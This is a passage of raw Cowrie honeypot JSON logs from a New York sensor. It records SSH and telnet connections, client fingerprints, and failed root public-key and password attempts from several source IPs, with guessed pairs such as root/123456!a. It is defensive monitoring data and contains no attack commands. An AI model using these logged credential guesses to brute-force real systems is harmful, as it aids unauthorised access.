failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.089799Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:c4:5c:7b:e8:b7:3b:d3:91:84:55:b2:33:fa:c5:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIkEock24fhT8yT6Z28aJUD1oOqnC14F4BPqtPsLha+7yGYgifMJDiG7ceD8Vogpr8QND7pb59J5xDXvmxn8fKVHwInENImAkEbfq35FjhiELDDvuaGi1IB0EXwqIate3Xz0lO4QOnpjLl7sGuTBDCTBFJB90jhxQdrIlBEoReo1RbSf/QxGd3Gq1OLbxk9XTWf+l0V+xUAqSUNyCZd3ENy1Po4RUlQtmgZnNKnTcrjcOHHY/sRDdiHZUsjk0zFEKMcbTFXg3rvvmObbJ2Eg4YxOnG3bX0E4JjyEBtUtxPUN9d5jUDaxX17MIz4zfhnWLU3pJxgYYOANKtgz1DqhP1J3JVgqGeLP8CiBadABmcCqKmtpJ9nMTGsZcvB7H2Dio9F382M6gziKN+9YkccV+RE+NJCNIaIfSAyNwrIrlC0RCwlqyv74Zx1nDtwOVw6eVzsa40q1fgggGuqStZ4c1oUTZJDY0NFIFLGPrSu/IQw7iBUHJQkGWLCXTtfY73NdKgbuaCvdZ+1OtIDpq8bZeuquIfVLKS3nSeatpBeBGYz1vcy9HN6t5aFMWZCuL+gUdYslAmD4icoOUt6IBfQUEiOkHtnzulNGSbaxvic600V78Iwbi+DnErKWiJs2s5z4lpekcyCKopzw4U6wdFz46jcwN+KPebN9y6uvkpBPq+ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:c4:5c:7b:e8:b7:3b:d3:91:84:55:b2:33:fa:c5:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.109651Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:c4:5c:7b:e8:b7:3b:d3:91:84:55:b2:33:fa:c5:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIkEock24fhT8yT6Z28aJUD1oOqnC14F4BPqtPsLha+7yGYgifMJDiG7ceD8Vogpr8QND7pb59J5xDXvmxn8fKVHwInENImAkEbfq35FjhiELDDvuaGi1IB0EXwqIate3Xz0lO4QOnpjLl7sGuTBDCTBFJB90jhxQdrIlBEoReo1RbSf/QxGd3Gq1OLbxk9XTWf+l0V+xUAqSUNyCZd3ENy1Po4RUlQtmgZnNKnTcrjcOHHY/sRDdiHZUsjk0zFEKMcbTFXg3rvvmObbJ2Eg4YxOnG3bX0E4JjyEBtUtxPUN9d5jUDaxX17MIz4zfhnWLU3pJxgYYOANKtgz1DqhP1J3JVgqGeLP8CiBadABmcCqKmtpJ9nMTGsZcvB7H2Dio9F382M6gziKN+9YkccV+RE+NJCNIaIfSAyNwrIrlC0RCwlqyv74Zx1nDtwOVw6eVzsa40q1fgggGuqStZ4c1oUTZJDY0NFIFLGPrSu/IQw7iBUHJQkGWLCXTtfY73NdKgbuaCvdZ+1OtIDpq8bZeuquIfVLKS3nSeatpBeBGYz1vcy9HN6t5aFMWZCuL+gUdYslAmD4icoOUt6IBfQUEiOkHtnzulNGSbaxvic600V78Iwbi+DnErKWiJs2s5z4lpekcyCKopzw4U6wdFz46jcwN+KPebN9y6uvkpBPq+ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.114308Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:aa:9f:03:8d:f5:2f:ca:37:18:9a:f7:6f:fd:5d:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtk5oPuym536u24yY0RXgLYyYS/yBRtNiHear3y236v/+OQrEABeO+k28dyo1DHcCf5QZKAfyFtioQgmq86Wom77bk34uPXNE7G6nO293pq3wihxzaqJMg+zlBiXjkrsxVe3m8asu5XMh8sxa/A33E+uL0XDkr6DRlefcQKeKHAcDfNh/BfILfXdWzqIGetthJORcCbtvwE5HMJ0Hf7uOpo2NN/AjSdNMzp+ljOS2HPcAebYtJZICkSReuDTyFzmEFt2M5oQ46rL+ekWpmPPiVxMjt/ztFe1XGsyp+y4vHfk6LphyPaOSE2Dk9xUY6N2RXlnAz9s+EBw/1JEKneG/cOQLqM7rGiJyB/ssf8VwHQz3RLpA3TlXanCXldqnpC5ugTzuLWuWQxxeyrSwHYrKr8FweocOhKSjjipntEmdg9vwff7o1fY7uhTGox62WMNY1GQCYbUZcznPvJLGE6ynDjcRNuURE7CK2UEV6uzvjs+O695trRwoxayghd3Z5Qs+D0t1cPljs6gh0SFbPg8jUHFAfqkWmzdfY8QC5RG0jenS+e3aqXhbKyZySkpyzVB8W8dQgFIi6WtGX6eCTopazkIooHem3tg7ZcXpUbHttCU/404OoXqJ5vJen5AK3Yn01/EgMholbujTS0dB1eDiqWUy99pWWiAB7OO9z4aUxrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:aa:9f:03:8d:f5:2f:ca:37:18:9a:f7:6f:fd:5d:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.136575Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:aa:9f:03:8d:f5:2f:ca:37:18:9a:f7:6f:fd:5d:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtk5oPuym536u24yY0RXgLYyYS/yBRtNiHear3y236v/+OQrEABeO+k28dyo1DHcCf5QZKAfyFtioQgmq86Wom77bk34uPXNE7G6nO293pq3wihxzaqJMg+zlBiXjkrsxVe3m8asu5XMh8sxa/A33E+uL0XDkr6DRlefcQKeKHAcDfNh/BfILfXdWzqIGetthJORcCbtvwE5HMJ0Hf7uOpo2NN/AjSdNMzp+ljOS2HPcAebYtJZICkSReuDTyFzmEFt2M5oQ46rL+ekWpmPPiVxMjt/ztFe1XGsyp+y4vHfk6LphyPaOSE2Dk9xUY6N2RXlnAz9s+EBw/1JEKneG/cOQLqM7rGiJyB/ssf8VwHQz3RLpA3TlXanCXldqnpC5ugTzuLWuWQxxeyrSwHYrKr8FweocOhKSjjipntEmdg9vwff7o1fY7uhTGox62WMNY1GQCYbUZcznPvJLGE6ynDjcRNuURE7CK2UEV6uzvjs+O695trRwoxayghd3Z5Qs+D0t1cPljs6gh0SFbPg8jUHFAfqkWmzdfY8QC5RG0jenS+e3aqXhbKyZySkpyzVB8W8dQgFIi6WtGX6eCTopazkIooHem3tg7ZcXpUbHttCU/404OoXqJ5vJen5AK3Yn01/EgMholbujTS0dB1eDiqWUy99pWWiAB7OO9z4aUxrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.140876Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:06:31:23:9e:67:55:3d:a0:b0:d7:4a:00:76:a1:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0xEAbDCj0u6T1OnHBjLQ60YJGmCWLoWZKCNAPLjzygUDX9WPIkI/Qa959XK1SejLu8Of8QBy9oBKZCWKofI+vVwawpSVsGKYkmIg41oAqBcud+CmbYr6HNEkmWfI/EdDx6c3K7r8okjMQFrSivdtFBFhMuoLye4t2pUYURNyJijWheQUqiR9KWiyfRqL2RmJlUOEYjeqLofvGMhmJV0T8H+hBpTjzi1ihGwuWH71AbzYjwKD4JvAoV5Ez36+UXYF/YfQQsYJySmSEm2WgSiUIwqqT60cJnhoriBCyre0AF4ZYnUJNnuBMijynYftpFHUSeYG694NbxjeFLvVsSA7UDbkpSBsCKmdJfWY3wtRUOaUawHFVoDoHi6j9Du89bbAdM7OzzGl7koVukr8Z/qSihKtRQ7Fs87Ke50eUfNrPQnPb/+lNTUhvDavkeEWVMTYbGPr6yAEUWQsX3/oFSrhqbhQf1hcYVKeC5M1XZIEWJUdubLJmIydaG6WCj+Un90J42iJF7lsWYwUgIvPztxQglOfgefM+Vh0T+91GHvyERo7fs8BRQ3fKY96fxEsxOcQdl5dXE9Ieq8iVx/+wK8XkFU6hdd4uCrl0e9BjbEs1gEa8DsalwJGfGsz7TpWdKWh2Dqx6wMmMUQUWOAvkM/k7IQ+UA1tEGxxYpDd6gayZJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:06:31:23:9e:67:55:3d:a0:b0:d7:4a:00:76:a1:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.163940Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:06:31:23:9e:67:55:3d:a0:b0:d7:4a:00:76:a1:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0xEAbDCj0u6T1OnHBjLQ60YJGmCWLoWZKCNAPLjzygUDX9WPIkI/Qa959XK1SejLu8Of8QBy9oBKZCWKofI+vVwawpSVsGKYkmIg41oAqBcud+CmbYr6HNEkmWfI/EdDx6c3K7r8okjMQFrSivdtFBFhMuoLye4t2pUYURNyJijWheQUqiR9KWiyfRqL2RmJlUOEYjeqLofvGMhmJV0T8H+hBpTjzi1ihGwuWH71AbzYjwKD4JvAoV5Ez36+UXYF/YfQQsYJySmSEm2WgSiUIwqqT60cJnhoriBCyre0AF4ZYnUJNnuBMijynYftpFHUSeYG694NbxjeFLvVsSA7UDbkpSBsCKmdJfWY3wtRUOaUawHFVoDoHi6j9Du89bbAdM7OzzGl7koVukr8Z/qSihKtRQ7Fs87Ke50eUfNrPQnPb/+lNTUhvDavkeEWVMTYbGPr6yAEUWQsX3/oFSrhqbhQf1hcYVKeC5M1XZIEWJUdubLJmIydaG6WCj+Un90J42iJF7lsWYwUgIvPztxQglOfgefM+Vh0T+91GHvyERo7fs8BRQ3fKY96fxEsxOcQdl5dXE9Ieq8iVx/+wK8XkFU6hdd4uCrl0e9BjbEs1gEa8DsalwJGfGsz7TpWdKWh2Dqx6wMmMUQUWOAvkM/k7IQ+UA1tEGxxYpDd6gayZJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.168029Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:b2:61:97:33:11:c8:54:b6:4a:2e:3c:dc:8b:c9:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcw3/OfU1k5zEnTB3TriP5YTiqvFKKA1+fJi/qcw+Q0zrPyv3ku5dy/80ZbjJKKXd9kYJwSBol92AuiLTgPAVeDfYI2n8RH6fc6w4E7sf5Tm0gu538Dn7LVa9DOgHb7oHKLg/Ywsb5iKmfZYrv2wuD9J9zytxF7R3SGYo7fD8UGKa7EHR6vBXOh0jTcAUBbT2SEwAz+dYrA+UwSRj/E9laZWTMCyWltEwRM+Vo0aRXSntga74WL+D+9s9VL0yAxZZRwrTLKP2YoMmrPeAPKeTURKJwYkgHB2FZORjW3BpHP9Ol67u+w+mPQoCs+/RduXp/daY+gG3P6UEqEFTb4YZrYSWGO7EfyRjfFUUIYumD+AnMjOLaTVfFVIpUbVTrITCOEDeBcRO/FLy1JY706PDUs2/OB+oP8kS8Kz7kG7PIav6Y6HyIVRMNuzbKQEfEohe2RZwAV00As2aa1wcHnlgDQ05O4GQ3Vv8u7Ng9NOWCVR4DF/aeojPhw3MyvVYfFxSPmbTLByKkn/S7uWosJOWjmPJfBX2YzgPf6t82kNC9+ri3/VtBdoWSKV1emG2BDcjbeSimwy8D7x7C7bdDcV/3rLCf3mpGj8I7tx9ZK1gWmdQu3ydE2FLVnrSiebU69+kp4LHssK3+4/k3mVcdVHY0VYxUWEqbFHb7BtPQMQ/QzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:b2:61:97:33:11:c8:54:b6:4a:2e:3c:dc:8b:c9:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.189658Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:b2:61:97:33:11:c8:54:b6:4a:2e:3c:dc:8b:c9:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcw3/OfU1k5zEnTB3TriP5YTiqvFKKA1+fJi/qcw+Q0zrPyv3ku5dy/80ZbjJKKXd9kYJwSBol92AuiLTgPAVeDfYI2n8RH6fc6w4E7sf5Tm0gu538Dn7LVa9DOgHb7oHKLg/Ywsb5iKmfZYrv2wuD9J9zytxF7R3SGYo7fD8UGKa7EHR6vBXOh0jTcAUBbT2SEwAz+dYrA+UwSRj/E9laZWTMCyWltEwRM+Vo0aRXSntga74WL+D+9s9VL0yAxZZRwrTLKP2YoMmrPeAPKeTURKJwYkgHB2FZORjW3BpHP9Ol67u+w+mPQoCs+/RduXp/daY+gG3P6UEqEFTb4YZrYSWGO7EfyRjfFUUIYumD+AnMjOLaTVfFVIpUbVTrITCOEDeBcRO/FLy1JY706PDUs2/OB+oP8kS8Kz7kG7PIav6Y6HyIVRMNuzbKQEfEohe2RZwAV00As2aa1wcHnlgDQ05O4GQ3Vv8u7Ng9NOWCVR4DF/aeojPhw3MyvVYfFxSPmbTLByKkn/S7uWosJOWjmPJfBX2YzgPf6t82kNC9+ri3/VtBdoWSKV1emG2BDcjbeSimwy8D7x7C7bdDcV/3rLCf3mpGj8I7tx9ZK1gWmdQu3ydE2FLVnrSiebU69+kp4LHssK3+4/k3mVcdVHY0VYxUWEqbFHb7BtPQMQ/QzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.193567Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.214724Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44844,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c9496bb7609","protocol":"ssh","message":"New connection: 103.15.226.202:44844 (10.17.0.5:22) [session: 9c9496bb7609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:24.284628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:24.288485Z","src_ip":"103.15.226.202","session":"9c9496bb7609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:24.532705Z","src_ip":"103.15.226.202","session":"9c9496bb7609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456!a","message":"login attempt [root/123456!a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:25.244932Z","src_ip":"103.15.226.202","session":"9c9496bb7609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.597174644470215,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:25.499261Z","src_ip":"111.119.202.27","session":"af3477ed02e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:26.484892Z","src_ip":"103.15.226.202","session":"9c9496bb7609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":53928,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b5a1004ac9c","protocol":"telnet","message":"New connection: 111.119.202.27:53928 (159.203.135.109:23) [session: 9b5a1004ac9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:32.072478Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":50484,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a1b65ed6c84","protocol":"telnet","message":"New connection: 111.119.202.27:50484 (159.203.135.109:23) [session: 8a1b65ed6c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:40.513323Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":53916,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5b31aa46f8b","protocol":"telnet","message":"New connection: 111.119.202.27:53916 (159.203.135.109:23) [session: e5b31aa46f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:47.184925Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":42118,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b95c8ab3af8","protocol":"ssh","message":"New connection: 2.57.122.238:42118 (10.17.0.5:22) [session: 1b95c8ab3af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:57.370117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:57.375186Z","src_ip":"2.57.122.238","session":"1b95c8ab3af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:57.475073Z","src_ip":"2.57.122.238","session":"1b95c8ab3af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:57.773622Z","src_ip":"2.57.122.238","session":"1b95c8ab3af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:58.876192Z","src_ip":"2.57.122.238","session":"1b95c8ab3af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":50478,"dst_ip":"159.203.135.109","dst_port":23,"session":"b10678e94aa0","protocol":"telnet","message":"New connection: 111.119.202.27:50478 (159.203.135.109:23) [session: b10678e94aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:02.434533Z"}
{"eventid":"cowrie.session.closed","duration":0.0057103633880615234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:02.440096Z","src_ip":"111.119.202.27","session":"b10678e94aa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.013213872909546,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:04.085584Z","src_ip":"111.119.202.27","session":"9b5a1004ac9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00129818916321,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:04.258621Z","src_ip":"111.119.202.27","session":"2494af1ddc5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.98056077957153,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:13.493786Z","src_ip":"111.119.202.27","session":"8a1b65ed6c84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57959,"dst_ip":"10.17.0.5","dst_port":23,"session":"039d13215c62","protocol":"telnet","message":"New connection: 212.55.149.117:57959 (10.17.0.5:23) [session: 039d13215c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:23.617245Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":60150,"dst_ip":"10.17.0.5","dst_port":22,"session":"f69a63905a9f","protocol":"ssh","message":"New connection: 104.194.10.248:60150 (10.17.0.5:22) [session: f69a63905a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.768548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.773052Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:34:30.780191Z","src_ip":"104.194.10.248","session":"f69a63905a9f","protocol":"ssh"}
